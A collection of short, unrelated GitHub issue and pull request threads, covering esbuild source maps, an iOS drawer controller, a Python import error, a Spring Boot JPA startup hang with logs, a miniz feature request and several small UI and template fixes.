I'm sure there are some downsides to inline source maps (especially in production)

question: should we also set sourcesContent: false if we detect that we are in production? https://esbuild.github.io/api/#sources-content

That does sound like a good idea!


Push new view controller from drawer.

Hi guys, I finally got a working implementation in my application, now I want to mess it up again. I'd like to switch views with my drawer. How can I accomplish this?

If I'm understanding this correctly, you're trying to switch the centerViewController programmatically from you leftViewController?
Just import the UIViewController+MMDrawerController category. Then:
UIViewController *newCenterViewController = [UIViewController alloc] init];
[self.mm_drawerController setCenterViewController:newCenterViewController];

// If you want to then close the sideViewController as well.
[self.mm_drawerController toggleDrawerSide:MMDrawerSideNone animated:YES completion:nil];

@AnthonyMDev thank man, I eventually got it.


Cannot import when installed from pypi because domains not found

What happened?
When I install earthkit-maps from pypi with pip install earthkit-maps I cannot import it because :
import earthkit.maps

raises:
earthkit/maps/data.py", line 54, in load
    raise DataNotFoundError(f"could not find data named '{source}'")
earthkit.maps.data.DataNotFoundError: could not find data named 'domains'

What are the steps to reproduce the bug?
See above
Version
0.0.5
Platform (OS and architecture)
all
Relevant log output
No response
Accompanying data
No response
Organisation
ECMWF

This issue has been resolved


Adding spring-data-starter-data-jpa with ddl-auto=update causes block at startup

I've found that if I attempt to instrument a spring-boot app with Spring Data JPA and DDL-AUTO=Update, the application freezes during startup and never finishes initialization.  I was able to reproduce in the sample app within this repository.
I forked the this repo added one commit with the updates to the sample app.  See this link: https://github.com/doddatpivotal/wavefront-spring-boot/commit/2745ff977333bf14387588213e1271a7fa3498c9
When I run the application, I get the following logs.  I faced this in my application, but wanted to isolate only the changes from the sample app that would cause the problem to occur.
2020-04-21 19:38:24.390  INFO 59069 --- [           main] sample.WavefrontSampleApplication        : Starting WavefrontSampleApplication on Dodds-MacBook-Pro.local with PID 59069 (/Users/dpfeffer/temp/wavefront-spring-boot/wavefront-spring-boot-sample/target/classes started by dpfeffer in /Users/dpfeffer/temp/wavefront-spring-boot)
2020-04-21 19:38:24.392  INFO 59069 --- [           main] sample.WavefrontSampleApplication        : No active profile set, falling back to default profiles: default
2020-04-21 19:38:25.097  INFO 59069 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data JPA repositories in DEFERRED mode.
2020-04-21 19:38:25.133  INFO 59069 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 30ms. Found 1 JPA repository interfaces.
2020-04-21 19:38:25.317  INFO 59069 --- [           main] trationDelegate$BeanPostProcessorChecker : Bean 'io.opentracing.contrib.spring.cloud.async.DefaultAsyncAutoConfiguration$DefaultTracedAsyncConfigurerSupport' of type [io.opentracing.contrib.spring.cloud.async.DefaultAsyncAutoConfiguration$DefaultTracedAsyncConfigurerSupport$$EnhancerBySpringCGLIB$$d9274efb] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)
2020-04-21 19:38:25.490  INFO 59069 --- [           main] trationDelegate$BeanPostProcessorChecker : Bean 'io.opentracing.contrib.spring.cloud.async.DefaultAsyncAutoConfiguration' of type [io.opentracing.contrib.spring.cloud.async.DefaultAsyncAutoConfiguration$$EnhancerBySpringCGLIB$$da451f98] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)
2020-04-21 19:38:25.696  INFO 59069 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 8080 (http)
2020-04-21 19:38:25.702  INFO 59069 --- [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
2020-04-21 19:38:25.702  INFO 59069 --- [           main] org.apache.catalina.core.StandardEngine  : Starting Servlet engine: [Apache Tomcat/9.0.33]
2020-04-21 19:38:25.757  INFO 59069 --- [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext
2020-04-21 19:38:25.758  INFO 59069 --- [           main] o.s.web.context.ContextLoader            : Root WebApplicationContext: initialization completed in 1300 ms
2020-04-21 19:38:26.114  INFO 59069 --- [           main] i.m.c.instrument.push.PushMeterRegistry  : publishing metrics for WavefrontMeterRegistry every 1m
2020-04-21 19:38:26.273  INFO 59069 --- [           main] o.c.s.w.s.ServerTracingAutoConfiguration : Creating FilterRegistrationBean bean with TracingFilter mapped to [], skip pattern is "/api-docs.*|/swagger.*|.*\.png|.*\.css|.*\.js|.*\.html|/favicon.ico|/hystrix.stream|/actuator/(beans|beans/.*|caches|caches/.*|health|health/.*|info|info/.*|conditions|conditions/.*|configprops|configprops/.*|env|env/.*|loggers|loggers/.*|heapdump|heapdump/.*|threaddump|threaddump/.*|metrics|metrics/.*|scheduledtasks|scheduledtasks/.*|mappings|mappings/.*)"
2020-04-21 19:38:26.399  INFO 59069 --- [           main] o.s.s.concurrent.ThreadPoolTaskExecutor  : Initializing ExecutorService 'applicationTaskExecutor'
2020-04-21 19:38:26.442  INFO 59069 --- [         task-1] o.hibernate.jpa.internal.util.LogHelper  : HHH000204: Processing PersistenceUnitInfo [name: default]
2020-04-21 19:38:26.484  INFO 59069 --- [           main] o.c.s.w.s.ServerTracingAutoConfiguration : Creating WebMvcConfigurer bean with class io.opentracing.contrib.spring.web.interceptor.TracingHandlerInterceptor
2020-04-21 19:38:26.488  WARN 59069 --- [           main] JpaBaseConfiguration$JpaWebConfiguration : spring.jpa.open-in-view is enabled by default. Therefore, database queries may be performed during view rendering. Explicitly configure spring.jpa.open-in-view to disable this warning
2020-04-21 19:38:26.501  INFO 59069 --- [         task-1] org.hibernate.Version                    : HHH000412: Hibernate ORM core version 5.4.13.Final
2020-04-21 19:38:26.632  INFO 59069 --- [         task-1] o.hibernate.annotations.common.Version   : HCANN000001: Hibernate Commons Annotations {5.1.0.Final}

Thanks for the report. That's an issue when the EntityManager is bootstrapped asynchronously and OpenTracing is used. If I remove the open tracing starter, the application runs fine. I'll keep an eye on the issue and will report it in Spring Framework once I get a chance to look at it in more details.
In the meantime, you can force the bootstrap of JPA in the same thread by adding the following to application.properties:
spring.data.jpa.repositories.bootstrap-mode=default

Created https://github.com/opentracing-contrib/java-spring-cloud/issues/285


Save As - UI element (button?)

Split out from #108

Currently there are many button appearing in our MaterialUI menu.  This is labelled as a UI issue because a design decision needs to be made about where to present this element to the user.  This is related to issue #91, #92 discussing the menu system overall.

This relates to item #153.


Issue with webhook binding type "generic"

There is no such thing as webhookType: "generic". The drop down should instead have an option that says "Generic JSON" and this should correspond to webhookType: "genericJson".

I'll fix this in my open template PR

I'll fix this in my open template PR

https://github.com/Azure/azure-webjobs-sdk-templates/pull/79

Fixed with https://github.com/Azure/azure-webjobs-sdk-templates/commit/e95dc94fc50abff856ada152d73b01eb065b43c3


Try to fix Cesium in Jupyter notebook

xref https://github.com/AnalyticalGraphicsInc/cesium/issues/8327


chore: Update CDK bootstrap template

Issue #, if available: N/A
Description of changes:  Update CDK bootstrap template that is used when deploying to a new account+region pair for the first time
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Merging, CI failure is unrelated to this change and is being addressed via #815


[TASK][TRIVIAL] Replace string literal with string constant

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Search before asking

[X] I have searched in the issues and found no similar issues.

What would you like to be improved?

kyuubi.operation.result.arrow.timestampAsString
kyuubi.operation.result.format

How should we improve?
https://github.com/apache/kyuubi/pull/5807
Are you willing to submit PR?

[ ] Yes. I would be willing to submit a PR with guidance from the Kyuubi community to improve.
[ ] No. I cannot submit a PR at this time.

This task is completed by @zzzzming95 via https://github.com/apache/kyuubi/pull/5807


API to delete a file from zip

I would like miniz to have an API to delete a entry from a exist zip directly.
At present we need to decompress it and compress again without the file i want
delete. I would appreciate it if it has an API to do it.

Original issue reported on code.google.com by<EMAIL_ADDRESS>on 22 Oct 2014 at 3:20

usefull for patching existed zip file.
zip_v1 contsins 1.txt, 2.txt, 3.txt
when 1.txt changed, give a patch_v1_to_v2 contains 1.txt
then delete 1.txt in v1.zip, copy 1.txt from patch.zip to v1.zip

usefull for patching existed zip file.
zip_v1 contsins 1.txt, 2.txt, 3.txt
when 1.txt changed, give a patch_v1_to_v2 contains 1.txt
then delete 1.txt in v1.zip, copy 1.txt from patch.zip to v1.zip


[Mobile] Client Details - Lack of one subsection

Preconditions:
device: Galaxy S4 - 360 x 640

Go to 'Client Details'

Results:
desktop: https://puu.sh/wplW0/106c6b9485.png
mobile: https://puu.sh/wplYV/0f2b5c12e3.png   - lack of "Tickets"

@dawid-g That issue has been fixed - now, sections are scrolling horizontally on mobile: https://i.imgur.com/QALwRI8.gif.